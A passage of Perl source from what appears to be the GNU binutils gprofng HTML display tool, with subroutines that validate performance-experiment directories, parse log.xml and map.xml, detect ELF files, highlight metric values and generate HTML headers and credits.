              gp_message (&quot;debugM&quot;, $subr_name, $msg);
            }
          if ($line =~ /.*\s+os=&quot;([^&quot;]+)/)
            {
              $os_exp_full = $1;
#------------------------------------------------------------------------------
# Capture the first word only.
#------------------------------------------------------------------------------
              if ($os_exp_full =~ /([^\s]+)/)
                {
                  $os_exp = $1;
                }
              $msg = &quot;extracted os_exp = &quot; . $os_exp;
              gp_message (&quot;debugM&quot;, $subr_name, $msg);
            }
          last;
        }
    } #-- End of while loop

  close (LOG_XML);

#------------------------------------------------------------------------------
# If the current system is identical to the system used in the experiment,
# we can return early.  Otherwise we need to dig deeper.
#
# TBD: How about the other experiment directories?! This needs to be fixed.
#------------------------------------------------------------------------------

  gp_message (&quot;debug&quot;, $subr_name, &quot;completed while loop&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;hostname_exp     = $hostname_exp&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;arch_exp         = $arch_exp&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;os_exp           = $os_exp&quot;);

#TBD: THIS DOES NOT CHECK IF ELF IS FOUND!

  if (($hostname_current eq $hostname_exp) and
      ($arch             eq $arch_exp)     and
      ($arch_uname_s     eq $os_exp))
        {
          $msg  = &quot;early return: the hostname, architecture and OS match&quot;;
          $msg .= &quot; the current system&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
          $msg = &quot;FAKE THIS IS NOT THE CASE AND CONTINUE&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
# FAKE          return ($TRUE);
        }

  if (not $g_exp_dir_meta_data{$selected_archive}{&quot;archive_is_empty&quot;})
    {
      $msg = &quot;selected_archive = &quot; . $selected_archive;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      for my $i (sort keys
		   %{$g_exp_dir_meta_data{$selected_archive}{&quot;archive_files&quot;}})
        {
          $msg  = &quot;stored loadobject &quot; . $i . &quot; &quot;;
          $msg .= $g_exp_dir_meta_data{$selected_archive}{&quot;archive_files&quot;}{$i};
          gp_message (&quot;debug&quot;, $subr_name, $msg);
        }
    }

#------------------------------------------------------------------------------
# Check if the selected experiment directory has archived files in ELF format.
# If not, use the information in map.xml to get the name of the executable
# and the virtual address.
#------------------------------------------------------------------------------

  if ($g_exp_dir_meta_data{$selected_archive}{&quot;archive_in_elf_format&quot;})
    {
      $msg  = &quot;the files in directory $selected_archive/archives are in&quot;;
      $msg .= &quot; ELF format&quot;;
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
      $msg = &quot;IGNORE THIS AND USE MAP.XML&quot;;
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
##      return ($TRUE);
    }

  $msg  = &quot;the files in directory $selected_archive/archives are not in&quot;;
  $msg .= &quot; ELF format&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  $path_to_map_file  =
		$g_exp_dir_meta_data{$selected_archive}{&quot;directory_path&quot;};
  $path_to_map_file .= $selected_archive;
  $path_to_map_file .= &quot;/map.xml&quot;;

  $msg  = &quot; - unable to open file $path_to_map_file for reading:&quot;;
  open (MAP_XML, &quot;&lt;&quot;, $path_to_map_file)
    or die ($subr_name . $msg . &quot; &quot; . $!);
  $msg = &quot;opened file $path_to_map_file for reading&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Scan the map.xml file.  We need to find the name of the executable with the
# mode set to 0x005.  For this entry we have to capture the virtual address.
#------------------------------------------------------------------------------
  $extracted_information = $FALSE;
  while (&lt;MAP_XML&gt;)
    {
      $line = $_;
      chomp ($line);
      gp_message (&quot;debugM&quot;, $subr_name, &quot;MAP_XML read line = $line&quot;);
#------------------------------------------------------------------------------
# Replaces this way too long line:
#     if ($line =~   /^&lt;event kind=&quot;map&quot;\s.*vaddr=&quot;0x([0-9a-fA-F]+)&quot;\s+.
#     *foffset=&quot;\+*0x([0-9a-fA-F]+)&quot;\s.*modes=&quot;0x([0-9]+)&quot;\s.*
#     name=&quot;(.*)&quot;.*&gt;$/)
#------------------------------------------------------------------------------
      if ($line =~ /$event_kind_map_regex/)
        {
          gp_message (&quot;debugM&quot;, $subr_name, &quot;target line = $line&quot;);
          $vaddr     = $1;
          $foffset   = $2;
          $modes     = $3;
          $name_path = $4;
          $name      = get_basename ($name_path);
          $msg  = &quot;extracted vaddr     = $vaddr foffset = $foffset&quot;;
          $msg .= &quot; modes = $modes&quot;;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
          $msg = &quot;extracted name_path = $name_path name = $name&quot;;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
#              $error_extracting_information = $TRUE;
          $executable_name  = $name;
          my $result_VA = bigint::hex ($vaddr) - bigint::hex ($foffset);
          my $hex_VA = sprintf (&quot;0x%016x&quot;, $result_VA);
          $va_executable_in_hex = $hex_VA;

          $msg = &quot;set executable_name      = &quot; . $executable_name;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
          $msg = &quot;set va_executable_in_hex = &quot; . $va_executable_in_hex;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
          $msg = &quot;result_VA                = &quot; . $result_VA;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
          $msg = &quot;hex_VA                   = &quot; . $hex_VA;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);

          if ($modes eq &quot;005&quot;)
            {
              $extracted_information = $TRUE;
              last;
            }
        }
    }

  close (MAP_XML);

  if (not $extracted_information)
    {
      $msg  = &quot;cannot find the necessary information in&quot;;
      $msg .= &quot; the $path_to_map_file file&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

##  $executable_name = $ARCHIVES_MAP_NAME;
##  $va_executable_in_hex = $ARCHIVES_MAP_VADDR;

  return ($executable_name, $va_executable_in_hex);

} #-- End of subroutine check_loadobjects_are_elf

#------------------------------------------------------------------------------
# Compare the current metric values against the maximum values.  Mark the line
# if a value is within the percentage defined by $hp_value.
#------------------------------------------------------------------------------
sub check_metric_values
{
  my $subr_name = get_my_name ();

  my ($metric_values, $max_metric_values_ref) = @_;

  my @max_metric_values = @{ $max_metric_values_ref };

  my @current_metrics = ();
  my $colour_coded_line;
  my $current_value;
  my $hp_value = $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;};
  my $max_value;
  my $msg;
  my $relative_distance;

  @current_metrics   = split (&quot; &quot;, $metric_values);
  $colour_coded_line = $FALSE;

  for my $metric (0 .. $#current_metrics)
    {
      $current_value = $current_metrics[$metric];
      if (exists ($max_metric_values[$metric]))
        {
          $max_value     = $max_metric_values[$metric];

          $msg  = &quot;metric = $metric current_value = $current_value&quot;;
          $msg .= &quot; max_value = $max_value&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          if ( ($max_value &gt; 0) and ($current_value &gt; 0) and
	       ($current_value != $max_value) )
            {
# TBD: abs needed?
              $msg  = &quot;metric = $metric current_value = $current_value&quot;;
              $msg .= &quot; max_value = $max_value&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

              $relative_distance = 1.00 - abs (
				($max_value - $current_value)/$max_value );

              $msg = &quot;relative_distance = $relative_distance&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

              if ($relative_distance &gt;= $hp_value/100.0)
                {
                  $msg = &quot;metric $metric is within the relative_distance&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  $colour_coded_line = $TRUE;
                  last;
                }
            }
        }
    } #-- End of loop over metrics

  return (\$colour_coded_line);

} #-- End of subroutine check_metric_values

#------------------------------------------------------------------------------
# Check if the system is supported.
#------------------------------------------------------------------------------
sub check_support_for_processor
{
  my $subr_name = get_my_name ();

  my ($machine_ref) = @_;

  my $machine = ${ $machine_ref };
  my $is_supported;

  if ($machine eq &quot;x86_64&quot;)
    {
      $is_supported = $TRUE;
    }
  else
    {
      $is_supported = $FALSE;
    }

  return (\$is_supported);

} #-- End of subroutine check_support_for_processor

#------------------------------------------------------------------------------
# Check the command line options for the occurrence of experiments and make
# sure that this list is contigious.  No other names are allowed in this list.
#
# Terminate execution in case of an error.  Otherwise remove the experiment
# names for ARGV (to make the subsequent parsing easier), and return an array
# with the experiment names.
#
# The following patterns are supposed to be detected:
#
# &lt;expdir_1&gt; some other word(s) &lt;expdir_2&gt;
# &lt;expdir&gt; some other word(s)
#------------------------------------------------------------------------------
sub check_the_experiment_list
{
  my $subr_name = get_my_name ();

#------------------------------------------------------------------------------
# The name of an experiment directory can contain any non-whitespace
# character(s), but has to end with .er, or optionally .er/.  Multiple
# forward slashes are allowed.
#------------------------------------------------------------------------------
  my $exp_dir_regex = &#039;^(\S+)(\.er)\/*$&#039;;
  my $forward_slash_regex = &#039;\/*$&#039;;

  my $current_value;
  my @exp_dir_list = ();
  my $found_experiment = $FALSE;
  my $found_non_exp = $FALSE;
  my $msg;
  my $name_non_exp_dir = &quot;&quot;;
  my $no_of_experiments = 0;
  my $no_of_invalid_dirs = 0;
  my $opt_remainder;
  my $valid = $TRUE;

  for my $i (keys @ARGV)
    {
      $current_value = $ARGV[$i];
      if ($current_value =~ /$exp_dir_regex/)
#------------------------------------------------------------------------------
# The current value is an experiment.  Remove any trailing forward slashes,
# Increment the count, push the value into the array and set the
# found_experiment flag to TRUE.
#------------------------------------------------------------------------------
        {
          $no_of_experiments += 1;

          $current_value =~ s/$forward_slash_regex//;
          push (@exp_dir_list, $current_value);

          if (not $found_experiment)
#------------------------------------------------------------------------------
# Start checking for the next field(s).
#------------------------------------------------------------------------------
            {
              $found_experiment = $TRUE;
            }
#------------------------------------------------------------------------------
# We had found non-experiment names and now see another experiment.  Time to
# bail out of the loop.
#------------------------------------------------------------------------------
          if ($found_non_exp)
            {
              last;
            }
        }
      else
        {
          if ($found_experiment)
#------------------------------------------------------------------------------
# The current value is not an experiment, but the value of found_experiment
# indicates at least one experiment has been seen already.  This means that
# the list of experiment names is not contiguous and that is a fatal error.
#------------------------------------------------------------------------------
            {
              $name_non_exp_dir .= $current_value . &quot; &quot;;
              $found_non_exp = $TRUE;
            }
        }

    }

#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Error handling.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------

  if ($found_non_exp)
#------------------------------------------------------------------------------
# The experiment list is not contiguous.
#------------------------------------------------------------------------------
    {
      $valid = $FALSE;
      $msg = &quot;the list with the experiments is not contiguous:&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $msg = &quot;\&quot;&quot; . $name_non_exp_dir. &quot;\&quot;&quot;. &quot; is not an experiment, but&quot; .
             &quot; appears in a list where experiments are expected&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;
    }

  if ($no_of_experiments == 0)
#------------------------------------------------------------------------------
# The experiment list is empty.
#------------------------------------------------------------------------------
    {
      $valid = $FALSE;
      $msg = &quot;the experiment list is missing from the options&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;
    }

  if (not $valid)
#------------------------------------------------------------------------------
# If an error has occurred, print the error(s) and terminate execution.
#------------------------------------------------------------------------------
    {
      gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
    }

#------------------------------------------------------------------------------
# We now have a list with experiments, but we still need to verify whether they
# exist, and if so, are these valid experiments?
#------------------------------------------------------------------------------
  for my $exp_dir (@exp_dir_list)
    {
      $msg = &quot;checking experiment directory $exp_dir&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      if (-d $exp_dir)
        {
          $msg = &quot;directory $exp_dir found&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
#------------------------------------------------------------------------------
# Files log.xml and map.xml have to be there.
#------------------------------------------------------------------------------
          if ((-e $exp_dir.&quot;/log.xml&quot;) and (-e $exp_dir.&quot;/map.xml&quot;))
            {
              $msg  = &quot;directory $exp_dir appears to be a valid experiment&quot;;
              $msg .= &quot; directory&quot;;
              gp_message (&quot;debug&quot;, $subr_name, $msg);
            }
          else
            {
              $no_of_invalid_dirs++;
              $msg  = &quot;file &quot; . $exp_dir . &quot;/log.xml and/or &quot; . $exp_dir;
              $msg .= &quot;/map.xml missing&quot;;
              gp_message (&quot;debug&quot;, $subr_name, $msg);

              $msg  = &quot;directory &quot; . get_basename($exp_dir) . &quot; does not&quot;;
              $msg .= &quot; appear to be a valid experiment directory&quot;;
              gp_message (&quot;error&quot;, $subr_name, $msg);

              $g_total_error_count++;
            }
        }
      else
        {
          $no_of_invalid_dirs++;
          $msg  = &quot;directory &quot; . get_basename($exp_dir) . &quot; does not exist&quot;;
          gp_message (&quot;error&quot;, $subr_name, $msg);

          $g_total_error_count++;
        }
    }

  if ($no_of_invalid_dirs &gt; 0)
#------------------------------------------------------------------------------
# This is a fatal error, but for now, we can continue to check for more errors.
# Even if none more are found, execution is terminated before the data is
# generated and processed.  In this way we can catch as many errors as
# possible.
#------------------------------------------------------------------------------
    {
      my $plural_or_single = ($no_of_invalid_dirs == 1) ?
		&quot;one experiment is&quot; : $no_of_invalid_dirs . &quot; experiments are&quot;;

      $msg = $plural_or_single . &quot; not valid&quot;;
##      gp_message (&quot;abort&quot;, $subr_name, $msg);

##      $g_total_error_count++;
    }

#------------------------------------------------------------------------------
# Remove the experiments from ARGV and return the array with the experiment
# names.  Note that these may, or may not be valid, but if invalid, execution
# terminates before they are used.
#------------------------------------------------------------------------------
  for my $i (1 .. $no_of_experiments)
    {
      my $poppy = pop (@ARGV);

      $msg = &quot;popped $poppy from ARGV&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      $msg = &quot;ARGV after update = &quot; . join (&quot; &quot;, @ARGV);
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

  return (\@exp_dir_list);

} #-- End of subroutine check_the_experiment_list

#------------------------------------------------------------------------------
# Perform multiple checks on the experiment directories.
#
# TBD: It needs to be investigated whether all of this is really neccesary.
#------------------------------------------------------------------------------
sub check_validity_exp_dirs
{
  my $subr_name = get_my_name ();

  my ($exp_dir_list_ref) = @_;

  my @exp_dir_list = @{ $exp_dir_list_ref };

  my %elf_rats = ();

  my $dir_not_found    = $FALSE;
  my $missing_dirs     = 0;
  my $invalid_dirs     = 0;

  my $archive_dir_not_empty;
  my $archives_dir;
  my $archives_file;
  my $count_exp_dir_not_elf;
  my $elf_magic_number;
  my $first_line;
  my $msg;

  my $first_time;
  my $filename;

  my $comment;

  my $selected_archive_has_elf_format;

  my $selected_archive;
  my $archive_dir_selected;
  my $no_of_files_in_selected_archive;

#------------------------------------------------------------------------------
# Initialize ELF status to FALSE.
#------------------------------------------------------------------------------
##  for my $exp_dir (@exp_dir_list)
  for my $exp_dir (keys %g_exp_dir_meta_data)
    {
      $g_exp_dir_meta_data{$exp_dir}{&quot;elf_format&quot;} = $FALSE;
      $g_exp_dir_meta_data{$exp_dir}{&quot;archive_in_elf_format&quot;} = $FALSE;
    }
#------------------------------------------------------------------------------
# Check if the load objects are in ELF format.
#------------------------------------------------------------------------------
  for my $exp_dir (keys %g_exp_dir_meta_data)
    {
      $archives_dir  = $g_exp_dir_meta_data{$exp_dir}{&quot;directory_path&quot;};
      $archives_dir .= $exp_dir . &quot;/archives&quot;;
      $archive_dir_not_empty = $FALSE;
      $first_time            = $TRUE;
      $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;} = $TRUE;
      $g_exp_dir_meta_data{$exp_dir}{&quot;no_of_files_in_archive&quot;} = 0;

      $msg = &quot;g_exp_dir_meta_data{$exp_dir}{&#039;archive_is_empty&#039;} = &quot;;
      $msg .= $g_exp_dir_meta_data{$exp_dir}{&#039;archive_is_empty&#039;};
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      $msg = &quot;checking $archives_dir&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      while (glob (&quot;$archives_dir/*&quot;))
        {
          $filename = get_basename ($_);

          $msg = &quot;processing file: $filename&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

          $g_exp_dir_meta_data{$exp_dir}{&quot;archive_files&quot;}{$filename} = $TRUE;
          $g_exp_dir_meta_data{$exp_dir}{&quot;no_of_files_in_archive&quot;}++;

          $archive_dir_not_empty = $TRUE;
#------------------------------------------------------------------------------
# Replaces the ELF_RATS part in elf_phdr.
#
# Challenge:  splittable_mrg.c_I0txnOW_Wn5
#
# TBD: Store this for each relevant experiment directory.
#------------------------------------------------------------------------------
          my $last_dot              = rindex ($filename,&quot;.&quot;);
          my $underscore_before_dot = $TRUE;
          my $first_underscore      = -1;

          $msg = &quot;last_dot = $last_dot&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          while ($underscore_before_dot)
            {
              $first_underscore = index ($filename, &quot;_&quot;, $first_underscore+1);
              if ($last_dot &lt; $first_underscore)
                {
                  $underscore_before_dot = $FALSE;
                }
            }
          my $original_name  = substr ($filename, 0, $first_underscore);
          $msg = &quot;stripped archive name: &quot; . $original_name;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
          if (not exists ($elf_rats{$original_name}))
            {
              $elf_rats{$original_name} = [$filename, $exp_dir];
            }
#------------------------------------------------------------------------------
# We only need to detect the presence of an object once.
#------------------------------------------------------------------------------
          if ($first_time)
            {
              $first_time = $FALSE;
              $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;} = $FALSE;
              $msg  = &quot;g_exp_dir_meta_data{$exp_dir}{&#039;archive_is_empty&#039;} = &quot;;
              $msg .= $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;};

              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }
        }
    } #-- End of loop over experiment directories

  for my $exp_dir (sort keys %g_exp_dir_meta_data)
    {
      my $empty = $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;};
      $msg  = &quot;archive directory &quot; . $exp_dir . &quot;/archives is&quot;;
      $msg .= &quot; &quot; . ($empty ? &quot;empty&quot; : &quot;not empty&quot;);
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Verify that all relevant files in the archive directories are in ELF format.
#------------------------------------------------------------------------------
  for my $exp_dir (sort keys %g_exp_dir_meta_data)
    {
      $g_exp_dir_meta_data{$exp_dir}{&quot;archive_in_elf_format&quot;} = $FALSE;
      if (not $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;})
        {
          $archives_dir  = $g_exp_dir_meta_data{$exp_dir}{&quot;directory_path&quot;};
          $archives_dir .= $exp_dir . &quot;/archives&quot;;
          $msg = &quot;exp_dir = &quot; . $exp_dir . &quot; archives_dir = &quot; . $archives_dir;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
#------------------------------------------------------------------------------
# Check if any of the loadobjects is of type ELF.  Bail out on the first one
# found.  The assumption is that all other loadobjects must be of type ELF too
# then.
#------------------------------------------------------------------------------
          for my $aname (sort keys
			%{$g_exp_dir_meta_data{$exp_dir}{&quot;archive_files&quot;}})
            {
              $filename  = $g_exp_dir_meta_data{$exp_dir}{&quot;directory_path&quot;};
              $filename .=  $exp_dir . &quot;/archives/&quot; . $aname;
              $msg  = &quot; - unable to open file $filename for reading:&quot;;
              open (ARCF,&quot;&lt;&quot;, $filename)
                or die ($subr_name . $msg . &quot; &quot; . $!);

              $first_line = &lt;ARCF&gt;;
              close (ARCF);

#------------------------------------------------------------------------------
# The first 4 hex fields in the header of an ELF file are: 7F 45 4c 46 (7FELF).
#
# See also https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
#------------------------------------------------------------------------------
#              if ($first_line =~ /^\177ELF.*/)

              $elf_magic_number = unpack (&#039;H8&#039;, $first_line);
              if ($elf_magic_number eq &quot;7f454c46&quot;)
                {
                  $g_exp_dir_meta_data{$exp_dir}{&quot;archive_in_elf_format&quot;} =
									$TRUE;
                  $g_exp_dir_meta_data{$exp_dir}{&quot;elf_format&quot;} = $TRUE;
                  last;
                }
            }
        }
    }

  for my $exp_dir (sort keys %g_exp_dir_meta_data)
    {
      $msg = &quot;the loadobjects in the archive in $exp_dir are&quot;;
      $msg .= ($g_exp_dir_meta_data{$exp_dir}{&quot;archive_in_elf_format&quot;}) ?
							&quot; in&quot; : &quot; not in&quot;;
      $msg .= &quot; ELF format&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }
  for my $exp_dir (sort keys %g_exp_dir_meta_data)
    {
      if ($g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;})
        {
          $msg = &quot;there are no archived files in &quot; . $exp_dir;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
        }
    }

#------------------------------------------------------------------------------
# If there are archived files and they are not in ELF format, a debug message
# is issued.
#
# TBD: Bail out?
#------------------------------------------------------------------------------
  $count_exp_dir_not_elf = 0;
  for my $exp_dir (sort keys %g_exp_dir_meta_data)
    {
      if (not $g_exp_dir_meta_data{$exp_dir}{&quot;archive_in_elf_format&quot;})
        {
          $count_exp_dir_not_elf++;
        }
    }
  if ($count_exp_dir_not_elf != 0)
    {
      $msg  = &quot;there are $count_exp_dir_not_elf experiments with non-ELF&quot;;
      $msg .= &quot; load objects&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Select the experiment directory that is used for the files in the archive.
# By default, a directory with archived files is used, but in case this does
# not exist, a directory without archived files is selected.  Obviously this
# needs to be dealt with later on.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Try the experiments with archived files first.
#------------------------------------------------------------------------------
  $archive_dir_not_empty = $FALSE;
  $archive_dir_selected  = $FALSE;
##  for my $exp_dir (sort @exp_dir_list)
  for my $exp_dir (sort keys %g_exp_dir_meta_data)
    {
      $msg = &quot;exp_dir = &quot; . $exp_dir;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
      $msg  = &quot;g_exp_dir_meta_data{$exp_dir}{&#039;archive_is_empty&#039;}&quot;;
      $msg .= &quot; = &quot; . $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;};
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      if (not $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;})
        {
          $selected_archive      = $exp_dir;
          $archive_dir_not_empty = $TRUE;
          $archive_dir_selected  = $TRUE;
          $selected_archive_has_elf_format =
		($g_exp_dir_meta_data{$exp_dir}{&quot;archive_in_elf_format&quot;}) ?
								$TRUE : $FALSE;
          last;
        }
    }
  if (not $archive_dir_selected)
#------------------------------------------------------------------------------
# None are found and pick the first one without archived files.
#------------------------------------------------------------------------------
    {
      for my $exp_dir (sort keys %g_exp_dir_meta_data)
        {
          if ($g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;})
            {
              $selected_archive      = $exp_dir;
              $archive_dir_not_empty = $FALSE;
              $archive_dir_selected  = $TRUE;
              $selected_archive_has_elf_format = $FALSE;
              last;
            }
        }
    }

  $msg  = &quot;experiment $selected_archive has been selected for&quot;;
  $msg .= &quot; archive analysis&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg  = &quot;this archive is&quot;;
  $msg .= $archive_dir_not_empty ? &quot; not empty&quot; : &quot; empty&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg  = &quot;this archive is&quot;;
  $msg .= $selected_archive_has_elf_format ? &quot; in&quot; : &quot; not in&quot;;
  $msg .= &quot; ELF format&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
#------------------------------------------------------------------------------
# Get the size of the hash that contains the archived files.
#------------------------------------------------------------------------------
##  $NO_OF_FILES_IN_ARCHIVE = scalar (keys %ARCHIVES_FILES);

  $no_of_files_in_selected_archive =
	     $g_exp_dir_meta_data{$selected_archive}{&quot;no_of_files_in_archive&quot;};

  $msg  = &quot;number of files in archive $selected_archive is&quot;;
  $msg .= &quot; &quot; . $no_of_files_in_selected_archive;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  for my $exp_dir (sort keys %g_exp_dir_meta_data)
    {
      my $is_empty = $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;};
      $msg  = &quot;archive directory $exp_dir/archives is&quot;;
      $msg .= $is_empty ? &quot; empty&quot; : &quot; not empty&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }
  for my $exp_dir (sort keys %g_exp_dir_meta_data)
    {
      if (not $g_exp_dir_meta_data{$exp_dir}{&quot;archive_is_empty&quot;})
        {
          for my $object (sort keys
			%{$g_exp_dir_meta_data{$exp_dir}{&quot;archive_files&quot;}})
            {
              $msg  = $exp_dir . &quot; &quot; . $object . &quot; &quot;;
              $msg .=
		$g_exp_dir_meta_data{$exp_dir}{&#039;archive_files&#039;}{$object};
              gp_message (&quot;debug&quot;, $subr_name, $msg);
            }
        }
    }

  return ($archive_dir_not_empty, $selected_archive, \%elf_rats);

} #-- End of subroutine check_validity_exp_dirs

#------------------------------------------------------------------------------
# Color the string and optionally mark it boldface.
#
# For supported colors, see:
# https://www.w3schools.com/colors/colors_names.asp
#------------------------------------------------------------------------------
sub color_string
{
  my $subr_name = get_my_name ();

  my ($input_string, $boldface, $color) = @_;

  my $colored_string;

  $colored_string = &quot;&lt;font color=&#039;&quot; . $color . &quot;&#039;&gt;&quot;;

  if ($boldface)
    {
      $colored_string .= &quot;&lt;b&gt;&quot;;
    }

  $colored_string .= $input_string;

  if ($boldface)
    {
      $colored_string .= &quot;&lt;/b&gt;&quot;;
    }
  $colored_string .= &quot;&lt;/font&gt;&quot;;

  return ($colored_string);

} #-- End of subroutine color_string

#------------------------------------------------------------------------------
# Generate the array with the info on the experiment(s).
#------------------------------------------------------------------------------
sub create_exp_info
{
  my $subr_name = get_my_name ();

  my ($experiment_dir_list_ref, $experiment_data_ref) = @_;

  my @experiment_dir_list = @{ $experiment_dir_list_ref };
  my @experiment_data     = @{ $experiment_data_ref };

  my @experiment_stats_html = ();
  my $experiment_stats_line;
  my $msg;
  my $plural;

  $plural = ($#experiment_dir_list &gt; 0) ? &quot;s:&quot; : &quot;:&quot;;

  $experiment_stats_line  = &quot;&lt;h3&gt;\n&quot;;
  $experiment_stats_line .= &quot;Full pathnames to the input experiment&quot;;
  $experiment_stats_line .= $plural . &quot;\n&quot;;
  $experiment_stats_line .= &quot;&lt;/h3&gt;\n&quot;;
  $experiment_stats_line .= &quot;&lt;pre&gt;\n&quot;;

  for my $i (0 .. $#experiment_dir_list)
    {
      $experiment_stats_line .= $experiment_dir_list[$i] . &quot; (&quot; ;
      $experiment_stats_line .= $experiment_data[$i]{&quot;start_date&quot;} . &quot;)\n&quot;;
    }
  $experiment_stats_line .= &quot;&lt;/pre&gt;\n&quot;;

  push (@experiment_stats_html, $experiment_stats_line);

  $msg = &quot;experiment_stats_line = &quot; . $experiment_stats_line;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  return (\@experiment_stats_html);

} #-- End of subroutine create_exp_info

#------------------------------------------------------------------------------
# Trivial function to generate a tag.  This has been made a function to ensure
# consistency creating tags and also make it easier to change them.
#------------------------------------------------------------------------------
sub create_function_tag
{
  my $subr_name = get_my_name ();

  my ($tag_id) = @_;

  my $function_tag = &quot;function_tag_&quot; . $tag_id;

  return ($function_tag);

} #-- End of subroutine create_function_tag

#------------------------------------------------------------------------------
# Generate and return a string with the credits.  Note that this also ends
# the HTML formatting controls.
#------------------------------------------------------------------------------
sub create_html_credits
{
  my $subr_name = get_my_name ();

  my $msg;
  my $the_date;

  my @months = qw (January February March April May June July
		   August September October November December);

  my ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) =
								localtime ();

  $year += 1900;

  $the_date = $months[$mon] . &quot; &quot; . $mday . &quot;, &quot; . $year;

  $msg  = &quot;&lt;i&gt;\n&quot;;
  $msg .= &quot;Output generated by the $driver_cmd command &quot;;
  $msg .= &quot;on $the_date &quot;;
  $msg .= &quot;(GNU binutils version &quot; . $binutils_version . &quot;)&quot;;
  $msg .= &quot;\n&quot;;
  $msg .= &quot;&lt;/i&gt;&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;the date = $the_date&quot;);

  return (\$msg);

} #-- End of subroutine create_html_credits

#------------------------------------------------------------------------------
# Generate a string that contains all the necessary HTML header information,
# plus a title.
#
# See also https://www.w3schools.com for the details on the features used.
#------------------------------------------------------------------------------
sub create_html_header
{
  my $subr_name = get_my_name ();

  my ($title_ref) = @_;

   my $title = ${ $title_ref };

  my $LANG = $g_locale_settings{&quot;LANG&quot;};
  my $background_color = $g_html_color_scheme{&quot;background_color_page&quot;};

  my $html_header;

  $html_header  = &quot;&lt;!DOCTYPE html public \&quot;-//w3c//dtd html 3.2//en\&quot;&gt;\n&quot;;
  $html_header .= &quot;&lt;html lang=\&quot;$LANG\&quot;&gt;\n&quot;;
  $html_header .= &quot;&lt;head&gt;\n&quot;;
  $html_header .= &quot;&lt;meta http-equiv=\&quot;content-type\&quot;&quot;;
  $html_header .= &quot; content=\&quot;text/html; charset=iso-8859-1\&quot;&gt;\n&quot;;
  $html_header .= &quot;&lt;title&gt;&quot; . $title . &quot;&lt;/title&gt;\n&quot;;
  $html_header .= &quot;&lt;/head&gt;\n&quot;;
  $html_header .= &quot;&lt;body lang=\&quot;$LANG\&quot; bgcolor=&quot;. $background_color . &quot;&gt;\n&quot;;
  $html_header .= &quot;&lt;style&gt;\n&quot;;
  $html_header .= &quot;div.left {\n&quot;;
  $html_header .= &quot;text-align: left;\n&quot;;
  $html_header .= &quot;}\n&quot;;
  $html_header .= &quot;div.right {\n&quot;;
  $html_header .= &quot;text-align: right;\n&quot;;
  $html_header .= &quot;}\n&quot;;
  $html_header .= &quot;div.center {\n&quot;;
  $html_header .= &quot;text-align: center;\n&quot;;
